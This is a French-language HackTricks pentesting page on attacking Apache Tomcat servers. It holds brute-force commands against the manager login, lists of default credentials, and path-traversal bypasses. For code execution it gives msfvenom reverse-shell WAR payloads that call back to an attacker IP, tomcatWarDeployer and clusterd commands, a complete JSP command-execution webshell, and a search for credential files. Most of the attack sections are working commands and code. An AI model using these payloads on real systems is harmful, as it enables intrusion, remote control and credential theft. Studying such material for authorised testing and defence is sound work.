hacktricks/network-services-pentesting/pentesting-web/tomcat.md

319 lines
20 KiB
Markdown

# Tomcat
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Découverte
* Il fonctionne généralement sur le **port 8080**
* **Erreur courante de Tomcat :**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Énumération
### Version
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
```
### Localiser les fichiers du gestionnaire
Il est intéressant de trouver où se trouvent les pages **`/manager`** et **`/host-manager`** car elles peuvent avoir un nom différent. Vous pouvez les rechercher avec une attaque par force brute.
### Énumération des noms d'utilisateur
Dans certaines versions antérieures à Tomcat6, vous pouviez énumérer les utilisateurs :
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### Identifiants par défaut
Le chemin le plus intéressant de Tomcat est _**/manager/html**_, à l'intérieur de ce **chemin, vous pouvez télécharger et déployer des fichiers war** (exécuter du code). Mais ce chemin est protégé par une authentification HTTP de base, les identifiants les plus courants sont :
* admin:admin
* tomcat:tomcat
* admin:\<RIEN>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Vous pouvez tester ces identifiants et d'autres en utilisant :
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Un autre chemin **intéressant de Tomcat** est _**/manager/status**_, où vous pouvez voir la version du système d'exploitation et de Tomcat. Cela est utile pour trouver des vulnérabilités affectant la version de Tomcat lorsque vous ne pouvez pas accéder à _**/manager/html.**_
### Bruteforce
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```
## Vulnérabilités
### Divulgation de la trace arrière du mot de passe
Essayez d'accéder à `/auth.jsp` et avec un peu de chance, il pourrait **divulguer le mot de passe dans une trace arrière**.
### Double encodage d'URL
Une vulnérabilité bien connue pour accéder au gestionnaire d'applications est mod_jk dans CVE-2007-1860, qui permet **la traversée de chemin avec double encodage d'URL**.
Pour accéder à l'interface web de gestion de Tomcat, allez à : _pathTomcat/%252E%252E/manager/html_
Notez que pour télécharger le webshell, vous devrez peut-être utiliser le truc du double encodage d'URL et envoyer également un cookie et/ou un jeton SSRF.\
Pour accéder à la porte dérobée, vous devrez peut-être également utiliser le truc du double encodage d'URL.
### /examples
Les scripts d'exemple suivants fournis avec Apache Tomcat v4.x - v7.x peuvent être utilisés par des attaquants pour obtenir des informations sur le système. Ces scripts sont également connus pour être vulnérables aux injections de script intersites (XSS) (à partir de [ici](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### Traversée de chemin (..;/)
Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : `/..;/`
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page du gestionnaire Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
**Une autre façon** de contourner les chemins protégés en utilisant cette astuce est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Enfin, si vous avez accès au gestionnaire d'applications web de Tomcat, vous pouvez **télécharger et déployer un fichier .war (exécuter du code)**.
### Limitations
Vous ne pourrez déployer un fichier WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans le fichier _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir la section [POST](tomcat.md#post)).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit is a powerful framework for penetration testing and exploiting vulnerabilities in network services. It provides a wide range of tools and modules that can be used to identify and exploit security weaknesses in target systems.
Metasploit is particularly useful for testing web applications hosted on the Apache Tomcat server. Tomcat is a popular open-source web server that is widely used for hosting Java-based applications. By using Metasploit, you can identify vulnerabilities in Tomcat and exploit them to gain unauthorized access to the target system.
Metasploit provides several modules specifically designed for Tomcat penetration testing. These modules can be used to perform tasks such as brute-forcing passwords, exploiting known vulnerabilities, and uploading malicious files to the target system.
To use Metasploit for Tomcat penetration testing, you need to first set up a Metasploit workspace and configure the necessary options. Once the workspace is set up, you can use the `auxiliary/scanner/http/tomcat_mgr_login` module to brute-force Tomcat manager credentials. This module attempts to guess the username and password for the Tomcat manager interface, which can be used to gain administrative access to the server.
If the brute-force attack is successful and you gain access to the Tomcat manager interface, you can use the `exploit/multi/http/tomcat_mgr_deploy` module to upload a malicious WAR file to the target system. This file can contain a backdoor or other malicious code that allows you to maintain access to the system even after the initial exploit.
Metasploit also provides modules for exploiting specific vulnerabilities in Tomcat, such as the `exploit/multi/http/tomcat_cgi_cmdlineargs` module, which exploits a command injection vulnerability in the CGI Servlet in Tomcat versions prior to 9.0.17.
In addition to these modules, Metasploit offers a wide range of other tools and techniques for penetration testing and exploiting network services. It is a valuable resource for both security professionals and hackers looking to identify and exploit vulnerabilities in target systems.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Reverse Shell MSFVenom
Le shell inversé MSFVenom est une technique couramment utilisée en pentest pour obtenir un accès distant à un système cible. Il permet à un attaquant de prendre le contrôle du système cible en établissant une connexion réseau inversée.
#### Génération du payload
Pour générer le payload du shell inversé à l'aide de MSFVenom, utilisez la commande suivante :
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<votre_IP> LPORT=<votre_port> -f war > shell.war
```
- `java/jsp_shell_reverse_tcp` : spécifie le type de payload à générer, dans ce cas, un shell inversé JSP pour Tomcat.
- `LHOST` : spécifie votre adresse IP, à laquelle le shell inversé se connectera.
- `LPORT` : spécifie le port sur lequel le shell inversé se connectera.
#### Déploiement du payload
Une fois que vous avez généré le fichier `shell.war`, vous devez le déployer sur le serveur Tomcat de la cible. Vous pouvez le faire en utilisant diverses méthodes, telles que l'envoi du fichier via une vulnérabilité d'injection de fichiers ou en le téléchargeant sur le serveur via une autre vulnérabilité.
Une fois que le fichier `shell.war` est déployé sur le serveur Tomcat, vous pouvez accéder au shell inversé en accédant à l'URL suivante :
```
http://<adresse_IP_cible>:<port_Tomcat>/shell/
```
#### Établissement de la connexion
Lorsque vous accédez à l'URL du shell inversé, une connexion sera établie entre votre machine et le système cible. Vous pourrez alors exécuter des commandes sur le système cible à partir de votre terminal.
Assurez-vous de configurer correctement votre pare-feu et de prendre toutes les précautions nécessaires pour protéger votre système lors de l'utilisation de cette technique.
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```
Ensuite, **téléchargez le fichier `revshell.war` et accédez-y (**_**/revshell/**_**)**
### Lier et inverser la coquille avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
#### Télécharger
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Reverse shell
Un reverse shell est une technique utilisée en pentest pour établir une connexion entre un attaquant et une machine cible à travers un réseau. Cela permet à l'attaquant d'exécuter des commandes sur la machine cible à distance.
Pour créer un reverse shell, l'attaquant doit d'abord exploiter une vulnérabilité sur la machine cible, généralement en utilisant une injection de code ou une faille de sécurité dans une application web. Une fois la vulnérabilité exploitée, l'attaquant peut exécuter un script ou un programme sur la machine cible qui établit une connexion de retour vers l'attaquant.
Lorsque la connexion de retour est établie, l'attaquant peut utiliser un terminal ou un outil de commande à distance pour exécuter des commandes sur la machine cible. Cela peut inclure l'exécution de commandes système, l'accès à des fichiers sensibles, la modification de configurations, voire la prise de contrôle complète de la machine.
Il est important de noter que l'utilisation d'un reverse shell pour accéder à une machine sans autorisation est illégale et constitue une violation de la vie privée. Cette technique ne doit être utilisée que dans le cadre d'un test de pénétration autorisé et éthique, avec le consentement préalable du propriétaire du système cible.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Shell de liaison
A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command-line interface to interact with the target system. This can be useful for remote administration or for launching further attacks.
Un shell de liaison est un type de shell qui écoute les connexions entrantes sur un port spécifique. Une fois qu'une connexion est établie, le shell de liaison fournit une interface en ligne de commande pour interagir avec le système cible. Cela peut être utile pour l'administration à distance ou pour lancer d'autres attaques.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Utilisation de [Culsterd](https://github.com/hatRiot/clusterd)
Culsterd is a tool that can be used for penetration testing of Apache Tomcat servers. It provides various modules that can be used to exploit vulnerabilities in Tomcat and gain unauthorized access to the server.
To use Culsterd, you first need to install it on your machine. You can find the installation instructions on the [Culsterd GitHub page](https://github.com/hatRiot/clusterd).
Once Culsterd is installed, you can start using its modules to test the security of a Tomcat server. Culsterd provides modules for various types of attacks, such as brute forcing passwords, exploiting weak configurations, and uploading malicious files.
To use a module, you need to specify the target Tomcat server and provide any required parameters. Culsterd will then execute the attack and provide you with the results.
It is important to note that Culsterd should only be used for authorized penetration testing. Using it without proper authorization is illegal and unethical.
By using Culsterd, you can identify and fix vulnerabilities in your Tomcat server, ensuring that it is secure against potential attacks.
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Méthode manuelle - Web shell
Créez **index.jsp** avec ce [contenu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) :
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Vous pouvez également installer ceci (permet l'envoi, le téléchargement et l'exécution de commandes) : [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Méthode manuelle 2
Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR :
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Le nom du fichier d'identification de Tomcat est _tomcat-users.xml_.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Autres moyens de collecter les identifiants Tomcat :
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Autres outils de scan Tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
<details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>